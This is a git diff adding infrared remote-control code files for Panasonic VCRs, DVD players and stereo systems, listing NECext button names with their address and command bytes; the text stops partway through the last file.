a/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_VEQ1697/112,8.ir b/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_VEQ1697/112,8.ir new file mode 100644 index 000000000..b8635bdc8 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_VEQ1697/112,8.ir @@ -0,0 +1,68 @@ +Filetype: IR signals file +Version: 1 +# +name: STOP2 +type: parsed +protocol: NECext +address: 70 08 00 00 +command: 00 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 70 08 00 00 +command: 02 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 70 08 00 00 +command: 02 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 70 08 00 00 +command: 03 00 00 00 +# +name: ff2 +type: parsed +protocol: NECext +address: 70 08 00 00 +command: 03 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 70 08 00 00 +command: 0A 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 70 08 00 00 +command: 0A 00 00 00 +# +name: KEY_T +type: parsed +protocol: NECext +address: 70 08 00 00 +command: 62 00 00 00 +# +name: T2 +type: parsed +protocol: NECext +address: 70 08 00 00 +command: 62 00 00 00 +# +name: KEY_W +type: parsed +protocol: NECext +address: 70 08 00 00 +command: 63 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 70 08 00 00 +command: CC 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_VEQ2380/176,0.ir b/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_VEQ2380/176,0.ir new file mode 100644 index 000000000..fabb3fec8 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_VEQ2380/176,0.ir @@ -0,0 +1,230 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 00 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 01 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 04 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 05 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 06 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 0A 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 10 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 11 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 12 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 13 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 14 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 15 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 16 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 17 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 18 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 19 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 33 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 3D 00 00 00 +# +name: A-B_REPEAT +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 48 00 00 00 +# +name: SKIP_BACK +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 49 00 00 00 +# +name: SKIP_FORWARD +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 4A 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 80 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 81 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 82 00 00 00 +# +name: KEY_CANCEL +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 83 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 85 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 86 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 87 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 88 00 00 00 +# +name: >10 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 89 00 00 00 +# +name: REPEAT_MODE +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 8C 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 8D 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 90 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 91 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 92 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 94 00 00 00 +# +name: TOP_MENU +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 9B 00 00 00 +# +name: V.S.S +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 9E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_VSQS0531/2,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_VSQS0531/2,-1.ir new file mode 100644 index 000000000..4c9692fec --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_VSQS0531/2,-1.ir @@ -0,0 +1,74 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 00 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 02 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 03 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 06 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 08 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0A 00 00 00 +# +name: f_adv +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0C 00 00 00 +# +name: x2 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0E 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 20 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 22 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 23 00 00 00 +# +name: vcr/tv +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 2A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_cd/160,194.ir b/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_cd/160,194.ir new file mode 100644 index 000000000..fd8ad4b4c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_cd/160,194.ir @@ -0,0 +1,110 @@ +Filetype: IR signals file +Version: 1 +# +name: STOP/CLEAR +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 80 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 81 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 84 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 85 00 00 00 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 87 00 00 00 +# +name: MEMORY +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 8B 00 00 00 +# +name: KEY_TAPE +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: AC 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: B0 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: B1 00 00 00 +# +name: XBS +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: B5 00 00 00 +# +name: KEY_CD +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: B6 00 00 00 +# +name: BAND +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: B8 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: BF 00 00 00 +# +name: FM_MODE +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: E4 00 00 00 +# +name: TUNER_CH_UP +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: E7 00 00 00 +# +name: TUNER_CH_DOWN +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: E8 00 00 00 +# +name: TUNER+ +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: E9 00 00 00 +# +name: TUNER- +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: EA 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_panas928/160,194.ir b/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_panas928/160,194.ir new file mode 100644 index 000000000..17e97bfba --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_panas928/160,194.ir @@ -0,0 +1,26 @@ +Filetype: IR signals file +Version: 1 +# +name: +vol +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: B0 00 00 00 +# +name: -vol +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: B1 00 00 00 +# +name: +P +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: E7 00 00 00 +# +name: -P +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: E8 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_panasonic-RAX-RX318W/160,194.ir b/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_panasonic-RAX-RX318W/160,194.ir new file mode 100644 index 000000000..a77ed916f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_panasonic-RAX-RX318W/160,194.ir @@ -0,0 +1,212 @@ +Filetype: IR signals file +Version: 1 +# +name: cdstop +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 80 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 81 00 00 00 +# +name: random +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 82 00 00 00 +# +name: cdrev +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 84 00 00 00 +# +name: cdfwd +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 85 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 86 00 00 00 +# +name: cdplay +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 87 00 00 00 +# +name: program +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 8B 00 00 00 +# +name: KEY_CANCEL +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 8D 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 8E 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 8F 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 90 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 91 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 92 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 93 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 94 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 95 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 96 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 97 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 98 00 00 00 +# +name: ten +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 99 00 00 00 +# +name: +ten +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 9F 00 00 00 +# +name: tapestop +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: A0 00 00 00 +# +name: taperev +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: A2 00 00 00 +# +name: tapefwd +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: A3 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: A4 00 00 00 +# +name: tapeplayleft +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: A5 00 00 00 +# +name: tapeplayright +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: A6 00 00 00 +# +name: deck +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: AD 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: B0 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: B1 00 00 00 +# +name: band +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: B8 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: BC 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: BF 00 00 00 +# +name: fmmode +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: E4 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_panasonic.conf/144,0.ir b/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_panasonic.conf/144,0.ir new file mode 100644 index 000000000..d93c1c8b8 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_panasonic.conf/144,0.ir @@ -0,0 +1,200 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 00 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 02 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 03 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 06 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 08 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 0A 00 00 00 +# +name: REV.PLAY +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 0B 00 00 00 +# +name: STILL +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 0C 00 00 00 +# +name: KEY_SEARCH +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 0F 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 10 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 11 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 12 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 13 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 14 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 15 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 16 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 17 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 18 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 19 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 33 00 00 00 +# +name: KEY_102ND +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 3B 00 00 00 +# +name: VTR +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 3D 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 44 00 00 00 +# +name: MEMORY +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 53 00 00 00 +# +name: RESET +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 54 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 56 00 00 00 +# +name: SEARCH+ +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 8E 00 00 00 +# +name: SEARCH- +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 8F 00 00 00 +# +name: MONITOR +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 91 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 90 00 00 00 +command: F0 00 00 00 +# +name: MEMORY +type: parsed +protocol: NECext +address: 90 00 00 00 +command: F1 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 90 00 00 00 +command: F2 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 90 00 00 00 +command: F3 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_veq2249/176,0.ir b/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_veq2249/176,0.ir new file mode 100644 index 000000000..a73b9dc96 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_veq2249/176,0.ir @@ -0,0 +1,236 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 00 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 01 00 00 00 +# +name: SEARCH-BACK +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 04 00 00 00 +# +name: SEARCH-FORWARD +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 05 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 06 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 0A 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 10 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 11 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 12 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 13 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 14 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 15 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 16 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 17 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 18 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 19 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 33 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 3D 00 00 00 +# +name: ABREPEAT +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 48 00 00 00 +# +name: SKIP-BACK +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 49 00 00 00 +# +name: SKIP-FORWARD +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 4A 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 80 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 81 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 82 00 00 00 +# +name: KEY_CANCEL +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 83 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 85 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 86 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 87 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 88 00 00 00 +# +name: >10 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 89 00 00 00 +# +name: REPEATMODE +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 8C 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 8D 00 00 00 +# +name: MARKER +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 8E 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 90 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 91 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 92 00 00 00 +# +name: ACTION +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 94 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 9B 00 00 00 +# +name: VSS +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 9E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/VCR/144,0.ir b/assets/resources/infrared/_CSV-IRDB_/Panasonic/VCR/144,0.ir new file mode 100644 index 000000000..419acad3a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Panasonic/VCR/144,0.ir @@ -0,0 +1,326 @@ +Filetype: IR signals file +Version: 1 +# +name: STOP +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 00 00 00 00 +# +name: STOP/DOWN_ARROW +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 00 00 00 00 +# +name: EJECT +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 01 00 00 00 +# +name: REWIND_<< +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 02 00 00 00 +# +name: REW/LEFT_ARROW +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 02 00 00 00 +# +name: FAST_FORWARD_>> +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 03 00 00 00 +# +name: FF_>>/RIGHT_ARROW +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 03 00 00 00 +# +name: FF/RIGHT_ARROW +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 03 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 06 00 00 00 +# +name: PAUSE/SLOW +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 06 00 00 00 +# +name: RECORD/TIME +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 08 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 08 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 0A 00 00 00 +# +name: PLAY/UP_ARROW +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 0A 00 00 00 +# +name: STILL_ADV +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 0C 00 00 00 +# +name: SEARCH +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 0F 00 00 00 +# +name: SLOW +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 0F 00 00 00 +# +name: SLOW_MOTION_+ +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 0F 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 10 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 11 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 12 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 13 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 14 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 15 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 16 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 17 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 18 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 19 00 00 00 +# +name: SPATIALIZER +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 31 00 00 00 +# +name: AUDIO_OUT +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 33 00 00 00 +# +name: CHANNEL/TRACKING_+ +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 34 00 00 00 +# +name: CHANNEL_UP +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 34 00 00 00 +# +name: CHANNEL_+/TRACKING_+ +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 34 00 00 00 +# +name: CHANNEL/TRACKING_- +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 35 00 00 00 +# +name: CHANNEL_DOWN +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 35 00 00 00 +# +name: CHANNEL_-/TRACKING_- +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 35 00 00 00 +# +name: VCR/TV +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 36 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 39 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 3D 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 3E 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 3F 00 00 00 +# +name: INDEX/M/A_SKIP +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 40 00 00 00 +# +name: SEARCH/M/A_SKIP/ENT +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 40 00 00 00 +# +name: INDEX_<< +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 49 00 00 00 +# +name: INDEX_>> +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 4A 00 00 00 +# +name: COUNTER_RESET +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 54 00 00 00 +# +name: FRAME_>> +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 8E 00 00 00 +# +name: FRAME_<< +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 8F 00 00 00 +# +name: INPUT_SELECT +type: parsed +protocol: NECext +address: 90 00 00 00 +command: C0 00 00 00 +# +name: INPUT +type: parsed +protocol: NECext +address: 90 00 00 00 +command: C0 00 00 00 +# +name: 100 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: E5 00 00 00 +# +name: SAP/HI-FI +type: parsed +protocol: NECext +address: 90 00 00 00 +command: E6 00 00 00 +# +name: ZERO/C/A_SKIP +type: parsed +protocol: NECext +address: 90 00 00 00 +command: F5 00 00 00 +# +name: C/A_SKIP +type: parsed +protocol: NECext +address: 90 00 00 00 +command: F8 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/VCR/144,1.ir b/assets/resources/infrared/_CSV-IRDB_/Panasonic/VCR/144,1.ir new file mode 100644 index 000000000..5f41b359c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Panasonic/VCR/144,1.ir @@ -0,0 +1,50 @@ +Filetype: IR signals file +Version: 1 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 90 01 00 00 +command: 01 00 00 00 +# +name: PROG/VCR+ +type: parsed +protocol: NECext +address: 90 01 00 00 +command: 01 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 90 01 00 00 +command: 04 00 00 00 +# +name: SPEED +type: parsed +protocol: NECext +address: 90 01 00 00 +command: 0A 00 00 00 +# +name: ADD/DELETE +type: parsed +protocol: NECext +address: 90 01 00 00 +command: 31 00 00 00 +# +name: ADD/DEL +type: parsed +protocol: NECext +address: 90 01 00 00 +command: 31 00 00 00 +# +name: ACTION +type: parsed +protocol: NECext +address: 90 01 00 00 +command: 56 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 90 01 00 00 +command: 56 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/VCR/144,5.ir b/assets/resources/infrared/_CSV-IRDB_/Panasonic/VCR/144,5.ir new file mode 100644 index 000000000..26bb6dd1b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Panasonic/VCR/144,5.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: TAPE_POSITION +type: parsed +protocol: NECext +address: 90 05 00 00 +command: 2B 